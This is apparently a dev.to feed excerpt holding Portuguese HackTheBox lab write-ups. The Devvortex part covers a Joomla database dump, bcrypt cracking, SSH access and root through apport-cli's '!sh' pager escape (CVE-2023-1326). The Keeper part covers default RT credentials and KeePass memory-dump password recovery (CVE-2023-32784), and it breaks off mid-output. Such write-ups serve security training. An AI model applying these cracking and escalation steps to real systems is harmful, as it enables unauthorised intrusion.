&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql&amp;gt; desc sd4fg_users&lt;span class="p"&gt;;&lt;/span&gt;
+---------------+---------------+------+-----+---------+----------------+
| Field         | Type          | Null | Key | Default | Extra          |
+---------------+---------------+------+-----+---------+----------------+
| &lt;span class="nb"&gt;id&lt;/span&gt;            | int           | NO   | PRI | NULL    | auto_increment |
| name          | varchar&lt;span class="o"&gt;(&lt;/span&gt;400&lt;span class="o"&gt;)&lt;/span&gt;  | NO   | MUL |         |                |
| username      | varchar&lt;span class="o"&gt;(&lt;/span&gt;150&lt;span class="o"&gt;)&lt;/span&gt;  | NO   | UNI |         |                |
| email         | varchar&lt;span class="o"&gt;(&lt;/span&gt;100&lt;span class="o"&gt;)&lt;/span&gt;  | NO   | MUL |         |                |
| password      | varchar&lt;span class="o"&gt;(&lt;/span&gt;100&lt;span class="o"&gt;)&lt;/span&gt;  | NO   |     |         |                |
| block         | tinyint       | NO   | MUL | 0       |                |
| sendEmail     | tinyint       | YES  |     | 0       |                |
| registerDate  | datetime      | NO   |     | NULL    |                |
| lastvisitDate | datetime      | YES  |     | NULL    |                |
| activation    | varchar&lt;span class="o"&gt;(&lt;/span&gt;100&lt;span class="o"&gt;)&lt;/span&gt;  | NO   |     |         |                |
| params        | text          | NO   |     | NULL    |                |
| lastResetTime | datetime      | YES  |     | NULL    |                |
| resetCount    | int           | NO   |     | 0       |                |
| otpKey        | varchar&lt;span class="o"&gt;(&lt;/span&gt;1000&lt;span class="o"&gt;)&lt;/span&gt; | NO   |     |         |                |
| otep          | varchar&lt;span class="o"&gt;(&lt;/span&gt;1000&lt;span class="o"&gt;)&lt;/span&gt; | NO   |     |         |                |
| requireReset  | tinyint       | NO   |     | 0       |                |
| authProvider  | varchar&lt;span class="o"&gt;(&lt;/span&gt;100&lt;span class="o"&gt;)&lt;/span&gt;  | NO   |     |         |                |
+---------------+---------------+------+-----+---------+----------------+
17 rows &lt;span class="k"&gt;in &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;0.00 sec&lt;span class="o"&gt;)&lt;/span&gt;

mysql&amp;gt; &lt;span class="k"&gt;select &lt;/span&gt;name,username,password from sd4fg_users&lt;span class="p"&gt;;&lt;/span&gt;
+------------+----------+--------------------------------------------------------------+
| name       | username | password                                                     |
+------------+----------+--------------------------------------------------------------+
| lewis      | lewis    | &lt;span class="nv"&gt;$2y$10$6V52x&lt;/span&gt;.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan paul | logan    | &lt;span class="nv"&gt;$2y$10$IT4k5kmSGvHSO9d6M&lt;/span&gt;/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+------------+----------+--------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos visualizar que existem dois usuários, o &lt;strong&gt;lewis&lt;/strong&gt; que utilizamos para acessar o Joomla e o mysql e também o usuário &lt;strong&gt;logan&lt;/strong&gt;.&lt;br&gt;
Este segundo usuário do Joomla também é um usuário com shell em nosso alvo!&lt;/p&gt;

&lt;p&gt;Iremos utilizar outra aba do nosso terminal para crackear a senha utilizando o John the Ripper:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/devvortex]
└─# john &lt;span class="nt"&gt;-w&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt logan-hash
Using default input encoding: UTF-8
Loaded 1 password &lt;span class="nb"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 1024 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
tequieromucho    &lt;span class="o"&gt;(&lt;/span&gt;logan&lt;span class="o"&gt;)&lt;/span&gt;
1g 0:00:00:11 DONE &lt;span class="o"&gt;(&lt;/span&gt;2023-11-28 09:49&lt;span class="o"&gt;)&lt;/span&gt; 0.08347g/s 117.1p/s 117.1c/s 117.1C/s lacoste..harry
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session completed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E conseguimos a senha do usuário &lt;strong&gt;logan&lt;/strong&gt;. Vamos tentar o acesso ssh ao host alvo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/devvortex]
└─# ssh logan@devvortex.htb
logan@devvortex.htb&lt;span class="s1"&gt;'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 28 Nov 2023 02:50:15 PM UTC

  System load:           0.0
  Usage of /:            65.7% of 4.76GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             174
  Users logged in:       0
  IPv4 address for eth0: 10.129.54.142
  IPv6 address for eth0: dead:beef::250:56ff:fe96:3343


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos o acesso! E o usuário possível a user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;logan@devvortex:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
806aa0e222b43fbbb78e8ef7207a2bdd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Escalação de privilégios e root flag
&lt;/h4&gt;

&lt;p&gt;Iremos iniciar listando as permissões do usuário &lt;strong&gt;logan&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;logan@devvortex:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;logan on devvortex:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin

User logan may run the following commands on devvortex:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL : ALL&lt;span class="o"&gt;)&lt;/span&gt; /usr/bin/apport-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O usuário possui permissão para executar como &lt;strong&gt;root&lt;/strong&gt; um binário chamado &lt;strong&gt;apport-cli&lt;/strong&gt;. O &lt;a href="https://github.com/canonical/apport" rel="noopener noreferrer"&gt;Apport&lt;/a&gt; é uma ferramenta que permite a análise, coleta de informações de crash reports de programas e do sistema.&lt;/p&gt;

&lt;p&gt;Buscando por vulnerabilidades encontramos a seguinte &lt;a href="https://github.com/advisories/GHSA-qgrc-7333-5cgx" rel="noopener noreferrer"&gt;CVE-2023-1326&lt;/a&gt; que afeta o apport-cli até a versão 2.26 e se trata de uma escalação de privilégios, que ocorre quando visualizamos o report gerado.&lt;/p&gt;

&lt;p&gt;Podemos ver a versão que temos executando o binário &lt;strong&gt;/usr/bin/apport-cli&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;logan@devvortex:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/apport-cli &lt;span class="nt"&gt;-v&lt;/span&gt;
2.20.11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;strong&gt;/CVE-2023-1326&lt;/strong&gt; ocorre exatamente no cenário em que estamos, onde a versão é inferior a &lt;strong&gt;2.26.0&lt;/strong&gt; e conseguimos executar o &lt;strong&gt;apport&lt;/strong&gt; com permissões de root. A vulnerabilidade ocorre quando visualizamos o report gerado pelo programa em uma janela do terminal que não exibe o conteúdo completo, neste caso o report utiliza o &lt;strong&gt;less&lt;/strong&gt;, que é utilizado para ler arquivos extensos no linux, um formato de "página", onde é possível se mover pelo conteúdo. &lt;br&gt;
Acontece que o &lt;strong&gt;less&lt;/strong&gt; permite que sejam executados comandos, e como estamos como root...&lt;/p&gt;

&lt;p&gt;Possui a seguinte &lt;a href="https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb" rel="noopener noreferrer"&gt;POC&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Que podemos reproduzir em nosso cenário da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;logan@devvortex:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/apport-cli &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/test.txt pid

&lt;span class="k"&gt;***&lt;/span&gt; What kind of problem &lt;span class="k"&gt;do &lt;/span&gt;you want to report?


Choices:
  1: Display &lt;span class="o"&gt;(&lt;/span&gt;X.org&lt;span class="o"&gt;)&lt;/span&gt;
  2: External or internal storage devices &lt;span class="o"&gt;(&lt;/span&gt;e. g. USB sticks&lt;span class="o"&gt;)&lt;/span&gt;
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose &lt;span class="o"&gt;(&lt;/span&gt;1/2/3/4/5/6/7/8/9/10/C&lt;span class="o"&gt;)&lt;/span&gt;: 1


&lt;span class="k"&gt;***&lt;/span&gt; Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.

&lt;span class="k"&gt;***&lt;/span&gt; What display problem &lt;span class="k"&gt;do &lt;/span&gt;you observe?


Choices:
  1: I don&lt;span class="s1"&gt;'t know
  2: Freezes or hangs during boot or usage
  3: Crashes or restarts back to login screen
  4: Resolution is incorrect
  5: Shows screen corruption
  6: Performance is worse than expected
  7: Fonts are the wrong size
  8: Other display-related problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 7
.
.dpkg-query: no packages found matching xorg
............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.5 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C):
What would you like to do? Your options are:
  S: Send report (1.5 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nesta parte será exibido o report utilizando o &lt;strong&gt;less&lt;/strong&gt;, aqui inserimos o seguinte paylaod:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt;sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim ganhamos shell como root!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# id&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos ler a root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ls -a /root&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .cleanup  .profile  root.txt  .ssh
&lt;span class="c"&gt;# cat /root/root.txt&lt;/span&gt;
b47da4fe68c66140a07b853748d02abf

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalizando assim a máquina Devvortex.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcds5r80c7sjcykkkyme6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcds5r80c7sjcykkkyme6.png" alt=":)" width="800" height="681"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Keeper [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Tue, 23 Apr 2024 09:19:09 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-keeper-retired-2nh3</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-keeper-retired-2nh3</guid>
      <description>&lt;p&gt;Neste writeup iremos explorar uma máquina easy chamada Keeper que explora as seguintes vulnerabilidades e técnicas.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Defaul Credentials&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-32784" rel="noopener noreferrer"&gt;CVE-2023-32784&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Recon e User Flag
&lt;/h3&gt;

&lt;p&gt;Vamos iniciar realizando uma varredura nas portas utilizando o nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/keeper]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; 10.129.122.191
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-08-12 15:04 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.122.191
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.27s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey:
|   256 3539d439404b1f6186dd7c37bb4b989e &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 1ae972be8bb105d5effedd80d8efc066 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    nginx 1.18.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Site doesn&lt;span class="s1"&gt;'t have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ao acessar pelo navegador na porta 80 nos é exibido uma mensagem informando para acessar:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="http://tickets.keeper.htb/rt" rel="noopener noreferrer"&gt;http://tickets.keeper.htb/rt&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkvlfxq20cobs1s011bu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkvlfxq20cobs1s011bu.png" alt="Redirect" width="800" height="113"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Para isso vamos inserir em nosso /etc/hosts &lt;strong&gt;tickets.keeper.htb&lt;/strong&gt;.&lt;br&gt;
E aqui temos a seguinte página de login:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0bjacfjmqdhxzafb346c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0bjacfjmqdhxzafb346c.png" alt="Best Practical Login" width="800" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se trata de um acesso ao sistema de tickets “Best Practical Solutions”. Também temos a informação do sistema operacional:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;RT 4.4.4+dfsg-2ubuntu1 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt; Copyright 1996-2019 Best Practical Solutions, LLC.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buscando na documentação deste sistema de ticket conseguimos o acesso admin utilizando as credenciais default:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;user: root&lt;/li&gt;
&lt;li&gt;pass: password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agora precisamos analisar o que conseguimos de informações!&lt;/p&gt;

&lt;p&gt;Visualizando os usuários conseguimos encontrar em uma sessão de comentários que nos informa uma senha:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq5enxh68yhzvo66353db.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq5enxh68yhzvo66353db.png" alt="Sensitive information exposure" width="800" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E com essa senha conseguimos acesso com o usuário &lt;strong&gt;lnorgaard&lt;/strong&gt;, que possui a user flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/wifinetictwo]
└─# ssh lnorgaard@10.129.122.191            
...
....
lnorgaard@keeper:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  RT30000.zip  .ssh  user.txt  .vimrc
lnorgaard@keeper:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt 
9b2190c26059e89932dab94b1d8915b5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Escalação de privilégios e Root Flag
&lt;/h3&gt;

&lt;p&gt;Ainda analisando o sistema de tickets notamos que existe um que nos chama atenção. É uma interação entre o usuário root e o usuário &lt;strong&gt;lnorgaard&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Esse ticket informa que o usuário root teve problemas com seu &lt;strong&gt;KeePass&lt;/strong&gt; e disponibilizou um dump de memória para que seja analisado. O usuário &lt;strong&gt;lnorgaard&lt;/strong&gt; informa que como é inseguro inserir esse tipo de informação em anexo o arquivo removido e adicionado em sua home.&lt;/p&gt;

&lt;p&gt;Voltando para nosso acesso ssh encontramos o arquivo em questão. Ele esta compactado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/home/lnorgaard/RT30000.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Descompactando esse arquivo temos dois arquivos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;KeePassDumpFull.dmp&lt;/li&gt;
&lt;li&gt;passcodes.kdbx&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;O primeiro arquivo é um Mini DuMP crash report, basicamente um dump de memória do windows.&lt;/p&gt;

&lt;p&gt;Já o segundo é um arquivo do &lt;strong&gt;KeePass&lt;/strong&gt; que armazena secrets.&lt;/p&gt;

&lt;p&gt;Existem diversas vulnerabilidades que forma reportadas no &lt;strong&gt;KeePass&lt;/strong&gt; recentemente, dentre elas temos a &lt;strong&gt;CVE-2023-32784.&lt;/strong&gt; Essa vulnerabilidade permite que seja recuperada a senha em texto plano da memória (Vulnerabilidade ja explorada na máquina &lt;a href="https://medium.com/@mrtnsgs/hackthebox-writeup-mailroom-retired-17ad83fdfbdb" rel="noopener noreferrer"&gt;Mailroom&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Como temos o arquivo de dump podemos buscar extrair a senha do mesmo.&lt;/p&gt;

&lt;p&gt;Podemos confirmar que o arquivo de dump possui a execução através do &lt;strong&gt;radare&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;0x00704fde]&amp;gt; iSq~exe
0x610000 0x92a000 &lt;span class="nt"&gt;----&lt;/span&gt; C:&lt;span class="se"&gt;\P&lt;/span&gt;rogram Files&lt;span class="se"&gt;\K&lt;/span&gt;eePass Password Safe 2&lt;span class="se"&gt;\K&lt;/span&gt;eePass.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para realizar a extração das credenciais iremos utilizar um exploit público feito em dotnet:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/vdohney/keepass-password-dumper" rel="noopener noreferrer"&gt;https://github.com/vdohney/keepass-password-dumper&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Para realizar os procedimentos precisamos realizar o download de ambos os arquivos para nossa máquina local, visto que não temos permissão ou pacotes necessários para realizar os procedimentos a seguir no alvo.&lt;/p&gt;

&lt;p&gt;Localmente iremos executar o exploit (lembrando que é precise ter o dotnet 7.0):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="nx"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;/home/&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;hackthebox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;machines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;keeper&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;keepass&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;dumper&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─#&lt;/span&gt; &lt;span class="nx"&gt;dotnet&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt; &lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;KeePassDumpFull&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dmp&lt;/span&gt;
&lt;span class="nx"&gt;Found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;●●&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;
&lt;span class="nx"&gt;Found&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;●●&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nx"&gt;Password&lt;/span&gt; &lt;span class="nf"&gt;candidates &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;character&lt;/span&gt; &lt;span class="nx"&gt;positions&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="nx"&gt;Unknown&lt;/span&gt; &lt;span class="nx"&gt;characters&lt;/span&gt; &lt;span class="nx"&gt;are&lt;/span&gt; &lt;span class="nx"&gt;displayed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;●&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.:&lt;/span&gt;     &lt;span class="err"&gt;●&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.:&lt;/span&gt;     &lt;span class="p"&gt;,,&lt;/span&gt; &lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`, -, ', ], A, I, :, =, _, c, M,
3.:     d,
4.:     g,
5.:     r,
6.:     ●
7.:     d,
8.:      ,
9.:     m,
10.:    e,
11.:    d,
12.:     ,
13.:    f,
14.:    l,
15.:    ●
16.:    d,
17.:    e,
